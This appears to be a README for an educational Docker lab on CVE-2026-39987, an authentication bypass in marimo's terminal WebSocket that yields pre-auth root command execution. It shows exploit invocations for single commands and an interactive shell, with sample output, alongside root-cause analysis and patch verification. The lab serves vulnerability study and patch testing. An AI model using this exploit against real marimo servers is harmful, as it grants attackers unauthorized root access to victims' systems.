
Educational Docker lab demonstrating CVE-2026-39987, a pre-auth RCE via WebSocket authentication bypass in marimo, with exploit script and patch verification steps.
Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass
An educational Docker lab for understanding, reproducing, and patching this critical vulnerability in marimo.
| Target | marimo <= 0.20.4 running in edit mode with token authentication enabled |
| Attacker | Any host with Python 3 and websocket-client |
| Goal | Obtain an interactive root shell via /terminal/ws without providing an auth token |
| Type | Authentication Bypass → Remote Code Execution (RCE) |
| Patch | marimo >= 0.23.0 |
⚠️ Ethical Use Only: This lab is designed for security researchers, developers, and students to understand how authentication bypass vulnerabilities occur and how to properly fix them. Run only in isolated environments.
┌─────────────────────────────────────────────────────────────┐
│ Docker Network │
│ (cve-lab) │
│ │
│ ┌──────────────────────┐ ┌──────────────────────┐ │
│ │ marimo-vulnerable │ │ marimo-attacker │ │
│ │ (Target) │ │ (Attacker) │ │
│ │ Port: 2718 │ │ Python 3.12 │ │
│ │ Auth: Token │◄─────│ exploit.py │ │
│ │ marimo: 0.20.4 │ │ │ │
│ └──────────────────────┘ └──────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘
Files in this lab:
| File | Purpose |
|---|---|
Dockerfile.target | Builds the vulnerable marimo server |
docker-compose.yml |
# Clone the repo
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab
# Start the lab
docker-compose up --build -d
# Run the exploit
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
# Get an interactive shell
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
# Create a working directory and place these files inside:
# - docker-compose.yml
# - Dockerfile.target
# - exploit.py
# Build and start the target
docker-compose up --build -d
# Verify the target is running
docker ps
# You should see: marimo-vulnerable Up 0.0.0.0:2718->2718/tcp
What happens:
0.20.4 (vulnerable version)edit mode with --token authentication explicitly enabled2718 is exposed to your hostBefore exploiting, let's verify the target is properly protected on legitimate endpoints:
# Try to open the main UI in a browser or via curl
curl -s http://127.0.0.1:2718/
# Expected: Redirect to login page or 401/403 (token required)
# Try the main WebSocket (/ws) without a token
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# Expected: Connection rejected or closed immediately due to missing auth
Key Observation: The main application endpoints correctly enforce authentication. The vulnerability lies in a secondary endpoint that was overlooked.
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
Expected output:
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
You will get a $ prompt where you can run arbitrary system commands:
[+] Got interactive shell! Type 'exit' to quit.
$ ls -la /
total 56
drwxr-xr-x 1 root root 4096 Jan 1 00:00 .
drwxr-xr-x 1 root root 4096 Jan 1 00:00 ..
...
$ exit
[*] Connection closed.
The vulnerability exists because of an inconsistent authentication check across WebSocket endpoints:
┌─────────────────────────────────────────────────────────────────┐
│ Authentication Middleware (Starlette) │
│ ├── Marks unauthenticated connections as "UnauthenticatedUser" │
│ └── Does NOT automatically close WebSocket connections │
└─────────────────────────────────────────────────────────────────┘
│
┌───────────────┴───────────────┐
▼ ▼
┌──────────────────┐ ┌──────────────────┐
│ /ws (Main) │ │ /terminal/ws │
│ │ │ (Terminal) │
│ ✓ validate_auth()│ │ ✗ NO auth check │
│ ✓ @requires("edit")│ │ ✓ SessionMode.EDIT│
│ │ │ ✓ supports_terminal()│
│ Rejects unauth │ │ ✓ Accepts immediately│
└──────────────────┘ └──────────────────┘
Authentication middleware (Starlette AuthenticationMiddleware) marks unauthenticated connections as UnauthenticatedUser but does not close WebSocket connections automatically.
Correct endpoints (e.g., /ws) call validate_auth() or use @requires("edit"), rejecting unauthenticated clients.
Vulnerable endpoint (/terminal/ws) only checks:
SessionMode.EDIT — ensures the server is in edit modesupports_terminal() — ensures terminal feature is availableawait websocket.accept() without any auth check.Impact: pty.fork() spawns a full PTY shell running as the server user (root in the default Docker image), giving the attacker complete system access.
The patch adds proper authentication validation to the /terminal/ws endpoint, ensuring it matches the security posture of other endpoints.
Upgrade the target to the patched version and re-run the exploit to confirm the fix:
# Edit Dockerfile.target: change marimo==0.20.4 to marimo==0.23.0
# Or use: sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target
docker-compose down
docker-compose up --build -d
# Try the exploit again
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"
Expected after patch:
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[-] Connection failed: Connection refused or authentication required
The connection is now rejected/closed immediately; no shell is obtained. ✅
# Stop and remove containers
docker-compose down -v
# Remove the built image
docker rmi cve-lab_target
# Clean up any dangling images
docker image prune -f
Built for educational purposes. Use responsibly. 🔒
| Orchestrates target and attacker containers |
exploit.py | PoC exploit script (single command + interactive mode) |
LAB_GUIDE.md | This guide |
| Issue | Solution |
|---|
Connection refused | Ensure the container is running: docker ps and check logs with docker logs marimo-vulnerable |
ModuleNotFoundError: No module named 'websocket' | Install the client: pip install websocket-client |
| No output from exploit | Increase timeout: python exploit.py ... --timeout 20 |
| Container exits immediately | Check Dockerfile syntax and ensure test.py notebook is created properly |
| Permission denied | Ensure Docker daemon is running and you have proper permissions |